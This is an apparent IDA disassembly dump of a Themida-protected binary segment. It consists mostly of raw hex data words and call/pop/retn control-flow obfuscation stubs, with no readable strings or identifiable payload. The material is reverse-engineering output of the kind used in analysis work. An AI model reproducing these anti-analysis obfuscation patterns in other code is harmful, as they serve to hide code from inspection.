		dd 3E63BE6Ch, 9D8D038Fh, 614DA7Ch, 0FFF90AE9h, 0F98B66FFh
		dd 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0A26848C3h, 231EE4BCh, 2A11BD89h,	4EB0611h
		dd 0
; ---------------------------------------------------------------------------
		sub	[ebp+6110CB5h],	edi
		movzx	edi, bx
		push	0
		push	ebp
		call	sub_5876C4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5876C4	proc near		; CODE XREF: Themida_:005876BCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5876C4	endp

; ---------------------------------------------------------------------------
		add	al, 0F3h
		dec	eax
		adc	di, 1922h
		lea	eax, [ebp+6112795h]
		push	0
		push	ebp
		call	sub_5876ED
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5876ED	proc near		; CODE XREF: Themida_:005876E5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5876ED	endp

; ---------------------------------------------------------------------------
		db 2Eh,	78h, 0DEh
		dd 0BD33E854h, 6112195h, 10E990h, 637E0000h, 7F564EB2h
		dd 3752CCC9h, 1E2B24F1h, 6650E0F8h, 90001DBEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F5C35747h, 8B34FCE1h
		dd 11347DBDh, 0DB58906h, 6A061134h, 80BF6600h, 6A006A52h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0DF41C357h, 0E82F4857h, 0F5F6BED2h, 858D2E16h
		dd 614DCD6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	8DC35343h, 0F5BD8BDDh, 83061127h, 6A05C0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B58BD0C3h, 6111E9Dh, 6A905090h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0DB8CC357h
		dd 0B5230BFAh, 6113275h, 8A0F006Ah, 6, 1CE1B501h, 6A0611h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h
		dd 2337FA6Fh, 110B41B5h, 6E806h, 92A0000h, 3FFF91Fh, 32B5BD8Bh
		dd 0FF5E0611h, 11075D95h, 89F38B06h, 1128A185h,	209D8D06h
		dd 6A0614A4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 89BDC357h, 7DD5FB3Ah, 0FD3FF95h
		dd 88h,	0AD85FF00h, 0E8061107h,	0Ah, 3B8141EEh,	144F505Ch
		dd 7E86370h, 4000000h, 0B576F0DFh, 5E5EC21Eh, 0C64E9h
		dd 0E800h, 815D0000h, 14DCE0EDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 55890EB4h
		dd 9D035660h, 611298Dh,	18D8958h, 61061109h, 13A9BD81h
		dd 7D00611h, 860F0000h,	165h, 8BFB8B66h, 1125C19Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 820FB076h, 4, 5EFE8B56h, 13318D89h, 0E3810611h, 100h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E1C35747h
		dd 3DBD0168h, 0B06110Ch, 96850FDBh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0A743C351h, 85916D0Fh, 8B66950Ch, 0E6BD83F3h, 614DAh
		dd 32840Fh, 96E90000h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E2A4C353h
		dd 5D97DB47h, 7BE8223h,	6620B494h, 77CFD681h, 0DAE685C7h
		dd 10614h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 23DC6AC3h, 3BE9B3h, 8B660000h, 0E685C7F3h
		dd 614DAh, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5F27C357h, 1B10192Fh, 5311C320h
		dd 9D09515Fh, 611318Dh,	0C19D8D5Eh, 81061125h, 274879D7h
		dd 0FF23817Ah, 56FFFFFEh, 0AE860h, 0F5A60000h, 3E338FB6h
		dd 0B7D5D523h, 0C281665Bh, 5E619C5Eh, 0D8F78166h, 0DB8C66B3h
		dd 29A18D89h, 81660611h, 0F669B7EFh, 840F04C3h,	32h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0FCC35646h, 219195FFh
		dd 0BE900611h, 55C7DC17h, 31BF6650h, 0BE66907Fh, 5E9B968h
		dd 66000004h, 0B08943BFh, 70E6F900h, 0E1BD8Bh, 71E40611h
		dd 127D9D89h, 0B60F0611h, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 42BC8051h
		dd 26E13FADh, 6BAh, 6AC38B00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 8592C356h, 0FEEF888Fh
		dd 23FC568Dh, 66F1B70Fh, 953DF81h, 6604E8C1h, 66B9EDBFh
		dd 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 77C683C3h, 914166Ah, 18CF8166h, 6AD82BA3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 2A17C355h, 8F0F485Fh, 2, 8B505F52h, 241C89FBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 1AC35141h
		dd 0A195890Fh, 0F061130h, 0B5FFF6B7h, 61113A9h,	0FFF9BF0Fh
		dd 1105C595h, 8100B006h, 88246DD6h, 6A70E658h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 66F3C357h, 0E41071BEh, 55006A71h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 66D1930Eh
		dd 0AC0FCF81h, 830F613Ch, 2A8h,	0FF0BF0Fh, 6AD8B6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0FC85C1C3h, 6647EC78h, 0BA6955BFh, 6, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 66C35747h, 0F9CA4FE6h
		dd 0F132DA3Ch, 12E8D9h,	859C0000h, 964DC6A9h, 0FF337E1Bh
		dd 0C89AB39Dh, 0FEC5A0ABh, 6ADBD0Bh, 8B5E0611h,	56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 4E8C1BCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	88C35040h, 0EB5C2444h, 6A29ACDh, 2631BD29h, 0F7660611h
		dd 51006AE2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0B6BE8F8Bh, 2BE8EF42h, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 8E0234ECh, 58F8407Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 95C35141h, 54DBF690h,	8B45B5D7h, 11012DBDh
		dd 0FD82B06h, 16F88h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 86993B2Ch, 0A0603195h
		dd 0E6816660h, 7B9931Eh, 8B000000h, 110F99B5h, 0C18306h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A8C35040h
		dd 0B70F44E9h, 0FBB70FFEh, 860FD93Bh, 10Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0ABC35141h, 799797C5h
		dd 0D98C6696h, 4C1F6F9h, 9F840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FAD59C3h
		dd 380h, 0F8BF0F00h, 219195FFh,	0F5570611h, 0BE665B5Eh
		dd 0C32B3A73h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	46C35242h, 0F040624h, 683h, 0A5B52B00h,	3D061122h
		dd 834h, 33860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0ED99A0C3h, 0F5BC25Ch
		dd 49E9F9B7h, 0E9000000h, 5, 0CC4B0761h, 6AC08BD4h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0F2FC353h, 0F602E65h, 58Fh, 7524B800h, 0CE97909h, 87000000h
		dd 36F8A49Fh, 0FBEFAB85h, 61551348h, 0D88BC38Bh, 0C7F7BF0Fh
		dd 1101ED85h, 6179506h,	858B6070h, 6111D61h, 8DEA8166h
		dd 0C08B617Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0E6C35646h, 0C0802570h,	0A9BD81BCh, 0D0061113h
		dd 0F000007h, 2C85h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0FF35BB89h
		dd 0D6EA9E6Fh, 0A985FFC2h, 60061113h, 0A9B5FF61h, 6A061113h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0A390C353h, 0C1BD8BF5h, 6606110Ah, 940CCE81h
		dd 5C595FFh, 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0BE7A2DC3h, 902CA9FBh, 0F08B6640h
		dd 0A19BD83h, 0F000611h, 0BA84h, 21BD8B00h, 8306112Ch
		dd 11244DBDh, 840F0006h, 0A7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 1BC35141h, 9B6B68C7h, 0FF0DA023h
		dd 110A1995h, 0D7816606h, 0C00B96ABh, 71840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BD8B7BC3h, 611204Dh, 4E3E8D8Dh, 6A0611h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F4AE47C3h
		dd 762F567Eh, 1B5295Ah,	0BF061113h, 2C4D119Fh, 5B8h, 68C0F00h
		dd 8B000000h, 112249B5h, 52E1FF06h, 30F1B58Bh, 835E0611h
		dd 110BA9BDh, 840F0006h, 49Dh, 5E40BFFCh, 0BD836FC1h, 611244Dh
		dd 8A840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F3ACC350h,	0E57ABAF0h
		dd 0F592BE66h, 26AD8D8Dh, 6A0611h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0AE21C0C3h, 8CB45DAEh
		dd 0F9BC2424h, 7C8401C7h, 858944B2h, 6112C99h, 0CFCB0181h
		dd 870F1499h, 4, 5359BF66h, 340441C7h, 89CE706Bh, 1130A1BDh
		dd 25BD2306h, 8106110Ah, 0D7100441h, 6A31D6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9FDB4FC3h
		dd 12060AA8h, 6A006AF1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3588C351h, 81664B2Eh
		dd 8D0D6DCFh, 1126AD85h, 0EE806h, 24130000h, 0CBC587BDh
		dd 0B6272BDBh, 0E858B449h, 6060905Fh, 0B46163B4h, 0BF506111h
		dd 5BF4B97h, 11B58B90h,	0FF061133h, 110BA995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 7CE9F098h, 1A20FC8Dh, 0B58B3088h, 611326Dh, 26AD8D8Dh
		dd 6A0611h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 81FF87C3h, 5CDC1D49h, 1C723h, 0F8000000h
		dd 441C7h, 0F000000h, 8Ah, 0FC00B00h, 5584h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 6481A047h, 6E8h, 0C9B33A00h,	0F8D2E5F8h, 3E8D8D5Fh
		dd 6606114Eh, 8B506ABFh, 5B8FAh, 8D290000h, 61127D5h, 51FCE1FFh
		dd 8E9h, 4B5D2F00h, 55865982h, 8D8D5F89h, 61126ADh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C0C35545h, 35633784h
		dd 727C01C7h, 0B58944AAh, 6110481h, 0CFCB0181h,	7CBE1499h
		dd 0C7191CF9h, 753C0441h, 0BD33CE78h, 611305Dh,	10044181h
		dd 3331D6D7h, 1109C9BDh, 33006A06h, 111FEDB5h, 0AD858D06h
		dd 6A061126h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0BFEDC355h, 1F4BF87Fh,	902495CBh
		dd 0DFBE9050h, 237D3E86h, 110C59BDh, 0A995FF06h, 6A06110Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7E25C350h, 8D8CC815h, 1126AD8Dh, 559D0906h
		dd 0C7061127h, 1, 97F8BE00h, 41C72EA5h,	4, 48E78100h, 2916069Fh
		dd 112921BDh, 0FC00B06h, 3C84h,	3E8D8D00h, 6006114Eh, 0E399D8Bh
		dd 0FE80611h, 0DE000000h, 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h
		dd 9E8F87Fh, 0A6000000h, 5B28F816h, 3A2FEAE1h, 0B8615B5Bh
		dd 5, 0B70FE1FFh, 0AD8D8DF9h, 8B061126h, 111F75B5h, 0A501C706h
		dd 6A54CA95h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 442DC357h, 0DDC30CABh,	11EE3548h
		dd 0CFCB0181h, 6A1499h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 2B5A54C3h, 3A3C67BEh, 441C711h
		dd 0CE5F5969h, 6805C781h, 8166581Fh, 814B5FDFh,	0D7100441h
		dd 0F28B31D6h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 5323ACC3h, 5E5E5350h, 0AD858D5Fh
		dd 0F061126h, 68Dh, 0B1BD8B00h,	50061114h, 2852BF66h, 9240489h
		dd 1121C99Dh, 0A995FF06h, 6A06110Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2556C352h
		dd 54D62456h, 0E9420220h, 8, 0B49A47BBh, 47CB0113h, 26AD8D8Dh
		dd 89600611h, 1107D99Dh, 31B52906h, 6106111Eh, 1C7h, 0BD8B0000h
		dd 611264Dh, 441C7h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 5171C355h, 4DB58B98h
		dd 0B06112Bh, 4A840FC0h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1196C356h
		dd 0C057476Eh, 55CF8166h, 3E8D8D88h, 0F06114Eh,	5B8FBB7h
		dd 0F000000h, 684h, 0D1BD8B00h,	51061129h, 2039B501h, 0FF5F0611h
		dd 0E9CA03E1h, 0FFFFF3ADh, 0CF8B6660h, 3159BD01h, 81610611h
		dd 0D7A575E7h, 6AC18B6Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2BEFC357h, 0E73D4E3Bh
		dd 10E85EBEh, 0F4000000h, 7DEBACF5h, 0E95DD5DBh, 0CA9DD427h
		dd 8B0C9A2Fh, 112C45B5h, 0B58B5E06h, 61112F5h, 4EBh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 813479C3h, 371688DFh, 0CD9D0113h, 66061126h,	858DFE8Bh
		dd 6112795h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	71C35040h, 0EE914h, 5E1E0000h, 591EDECh, 4E90DDDBh
		dd 0AF7FCCC4h, 0F525050h, 287h,	0FF38B00h, 2830F31h, 57000000h
		dd 89585A5Fh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 54E9D8C3h, 0EDE525Dh, 95898313h
		dd 611214Dh, 6060006Ah,	9E8h, 0BADA3400h, 0F08DC89Ch, 6158E634h
		dd 61F2B70Fh, 9589006Ah, 611181Dh, 0EB94858Dh, 0BE90614h
		dd 0B3000000h, 0A0857D45h, 0DBFCAE5Fh, 0C083F70Ah, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0D45BCD92h, 12E9C4A1h, 8F000000h, 0DB81E1E0h, 0D0127FD9h
		dd 283044D4h, 0EF2559C3h, 52575095h, 5F5E5F53h,	0F240489h
		dd 58Ah, 0D7816600h, 81664090h,	6A6962C6h, 0CE800h, 0FA3B0000h
		dd 0CF818D6Bh, 0D57C516Dh, 0BD8BCCC8h, 61127F1h, 6A006A5Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7CFEC351h, 0F13D3D8h, 128Eh, 0DE900h, 90FE0000h
		dd 0FA071AF9h, 1E1CF19Fh, 0F3D816Bh, 95FFF7B7h,	611075Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B7C35545h
		dd 546F154Fh
		dd 8BFA5B4Bh, 25B53379h, 8D06111Fh, 14A4209Dh, 10E906h
		dd 0BB1F0000h, 20EC0373h, 4D9DA96Ah, 3A0D05DBh,	0D3FF8887h
		dd 0FFF38B66h, 1107AD85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0BE6DEA4Fh
		dd 0A95EA584h, 0B438BFC9h, 6DE96B76h, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 614EB9Eh
		mov	esi, 3CDB0A79h
		cmp	dword ptr [ebp+61113A9h], 7D0h
		jbe	loc_5888B9
		push	0
		push	edi
		call	sub_58878B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58878B	proc near		; CODE XREF: Themida_:00588783p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_58878B	endp

; ---------------------------------------------------------------------------
		db 0E2h
; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	ds:40ACBC2Ah, al
		mov	bx, [ebp+6110ED9h]
		mov	edi, [ebp+6111DE1h]
		and	ebx, 100h
		push	0
		push	esi
		call	sub_5887C0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5887C0	proc near		; CODE XREF: Themida_:005887B8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5887C0	endp

; ---------------------------------------------------------------------------
		cmp	ebp, [ebx]
		mov	ebp, 6112A6Dh
		or	ebx, ebx
		jnz	loc_58885D
		or	di, 61BFh
		push	ebx
		xor	esi, 0D34844h
		pop	esi
		cmp	dword ptr [ebp+614E988h], 0
		jz	loc_588819
		jmp	loc_58880E
; ---------------------------------------------------------------------------
		dw 7E09h
		dd 57AF0611h, 90F3CC98h, 0C100D504h
		db 0ECh, 7Eh
; ---------------------------------------------------------------------------


loc_58880E:				; CODE XREF: Themida_:005887F9j
		jmp	loc_58889B
; ---------------------------------------------------------------------------
		mov	esi, [ebp+611326Dh]


loc_588819:				; CODE XREF: Themida_:005887F3j
		mov	dword ptr [ebp+614E988h], 1
		push	0
		push	edi
		call	sub_58882E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58882E	proc near		; CODE XREF: Themida_:00588826p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58882E	endp

; ---------------------------------------------------------------------------
		dw 0B3E8h
		dd 12E9F7h, 0AF100000h,	3D1BABB1h, 48E8C592h, 5AF950D6h
		dd 96B4EF9Eh, 3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58885D:				; CODE XREF: Themida_:005887D9j
		mov	dword ptr [ebp+614E988h], 0
		push	0
		push	edx
		call	sub_588872
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588872	proc near		; CODE XREF: Themida_:0058886Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_588872	endp

; ---------------------------------------------------------------------------
		dw 636Ah
		dd 3BACB7Eh, 68F0F65h, 89000000h, 1107DD95h, 0DB50106h
; ---------------------------------------------------------------------------
		sub	[ecx], dl
		push	es


loc_58889B:				; CODE XREF: Themida_:loc_58880Ej
		lea	ebx, [ebp+6110ED9h]
		mov	si, 3207h
		and	dword ptr [ebx], 0FFFFFEFFh
		jmp	loc_5888B9
; ---------------------------------------------------------------------------
		dd 0CEC5B0D5h, 55C96696h
		db 62h
; ---------------------------------------------------------------------------


loc_5888B9:				; CODE XREF: Themida_:0058877Aj
					; Themida_:005888ABj
		mov	bx, ds
		push	0
		push	ecx
		call	sub_5888C7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5888C7	proc near		; CODE XREF: Themida_:005888BFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5888C7	endp

; ---------------------------------------------------------------------------
		jno	short near ptr loc_5888D7+1 ; CODE XREF: Themida_:loc_5888D7j
		dec	ebx
		mov	esi, [ebp+6112C85h]
		test	bl, 4
		jz	loc_58892E
		xor	[ebp+6113035h],	esi
		call	dword ptr [ebp+6112191h]
		sub	[ebp+6112385h],	ecx
		mov	esi, 0ACCF067h
		push	eax
		mov	di, bx
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_588912
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588912	proc near		; CODE XREF: Themida_:0058890Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_588912	endp

; ---------------------------------------------------------------------------
		dw 0FB0Ah
		dd 555F6D05h, 32A18589h
; ---------------------------------------------------------------------------
		adc	[esi], eax


loc_58892E:				; CODE XREF: Themida_:005888E3j
		jmp	loc_588CC1
; ---------------------------------------------------------------------------
		db 9
		dd 11349985h, 8B00B006h, 8170E6F0h, 0E8F76BE6h,	8B71E478h
		dd 110C69BDh, 0FD858906h, 0F061132h, 0B58BD8B6h, 6111469h
		dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0BDE8C06Ch, 5035A223h, 0CE8844Eh
		dd 93000000h, 742A2AC8h, 3FB88CBh, 0E9920B34h, 6, 0F0D1576Eh
		dd 8B5F8328h, 16BE66C3h, 299D89C7h, 0C1061100h,	6A04E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 661D5BC3h, 2349BD8Bh, 7E90611h, 7000000h, 0DF167792h
		dd 0F766D852h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0E56A8495h, 95011C4Ch
		dd 61103B9h, 5150D82Bh,	241C895Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0D8C35242h,	8BB61B8Eh, 111DF5B5h
		dd 0A9B5FF06h, 0FC061113h, 5C595FFh, 85890611h,	61129F5h
		dd 805BD09h, 0B00611h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0FEC35747h, 12450697h, 6779F64Eh, 138E0F0Dh
		dd 60000000h, 9E8h, 0B235B400h,	3F9B1780h, 575EF50Fh, 70E6615Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B6C35141h
		dd 3E590AFDh, 569F2589h, 0E45EF78Bh, 58C0F71h, 66000000h
		dd 0F9D6D681h, 830F613Ch, 1F1h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0C1C35141h,	0D59C3D35h, 894878E8h
		dd 1130FDBDh, 0D8B60F06h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 8FC35141h, 905C7BD9h,	0BE9h, 0E30BA00h
		dd 45B7FFCDh, 0E6D8B949h, 0BE9h, 41AB2700h, 9C3287D4h
		dd 5F4BB8C0h, 6BAh, 0FABF0F00h,	8F0FC38Bh, 9, 3820Fh, 0BF0F0000h
		dd 0EF8166F2h, 0E8C13F03h, 8810F04h, 0F000000h,	280h, 665F5600h
		dd 8589E2F7h, 6110009h,	6AD82Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 6CF6FBC3h, 72B8617Bh
		dd 0AD95293Eh, 8B06111Ch, 110625B5h, 8F0F5806h,	1, 0FD82BF8h
		dd 10C88h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 5D50FAFEh, 7B9B6h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 9529C0C3h, 6110AB5h,	8B00C183h, 0FD93BF0h, 0B886h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 5C15AA6Ch, 32D4162Ah, 0BF0F04BBh, 0D98C66F2h, 1475BD8Bh
		dd 0C1F60611h, 79840F04h, 0FF000000h, 11219195h, 0A1850106h
		dd 5B061125h, 7C19589h,	0C32B0611h, 8E9h, 0FF0000h, 2D4754CBh
		dd 8343D00h, 860F0000h,	4Ch, 1DADB523h,	46E90611h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0B5DC356h, 912AC925h, 12E8C9C4h, 0EA000000h
		dd 9D0E8073h, 6C4AC6CCh, 525A856Fh, 4AD0A8C5h, 31B58B76h
		dd 5E061103h, 8B66C08Bh
; ---------------------------------------------------------------------------
		cli


loc_588CC1:				; CODE XREF: Themida_:loc_58892Ej
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ebx
		call	sub_588CD0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588CD0	proc near		; CODE XREF: Themida_:00588CC8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_588CD0	endp

; ---------------------------------------------------------------------------
		dd 8CAD1167h, 0F18B4ECFh, 25C185C7h, 81D50611h,	0FA8B719Dh
		dd 0CED541BFh, 6AC08B45h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7E59C357h, 663637E1h
		dd 0B85EEE81h, 13A9BD81h, 7D00611h, 850F0000h, 36h, 32098D31h
		dd 85FF0611h, 61113A9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 9DC35343h, 8E967h, 0D9DF0000h, 7BE11A6Bh
		dd 0B5FF8084h, 61113A9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 79C35242h, 60963ABh, 0FFF83957h, 1105C595h
		dd 59C68106h, 900A560Bh, 0AD05D681h, 0BF660AB2h, 51F5DAF6h
		dd 319DB58Bh, 5E90611h,	0A4000000h, 0F572797Bh,	11E95Fh
		dd 6A9C0000h, 0C03223CDh, 188258FEh, 0ED38A4DFh, 0E9BE5085h
		dd 0Ch,	83E48F91h, 1468CADCh, 0EA5FBCABh, 8E8h,	6B811100h
		dd 0E1EE0562h, 0FEBF0F87h, 0FAA6FEBFh, 810F5E38h, 19h
		dd 91DA8060h, 0E961DE8Bh, 0Dh, 0B6CCED09h, 9EC76190h, 0A3FA43F2h
		dd 0CE927h, 28140000h, 4E091B57h, 38751BA3h, 6A90F4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 295009C3h, 1127E185h, 6AFC06h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0EC02F2C3h, 85FEAB1h
		dd 55006A8Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 517A4EEEh, 0FEB70F53h, 6CD8D89h,	8B660611h
		dd 6396BEF9h, 0E9FC2A3Eh, 0FFFFF8BBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0A8C35545h,	0E5DD4E9Bh, 0B58B7DE5h
		dd 61105A1h, 8960C18Bh,	111DF19Dh, 0D19D8B06h, 61061132h
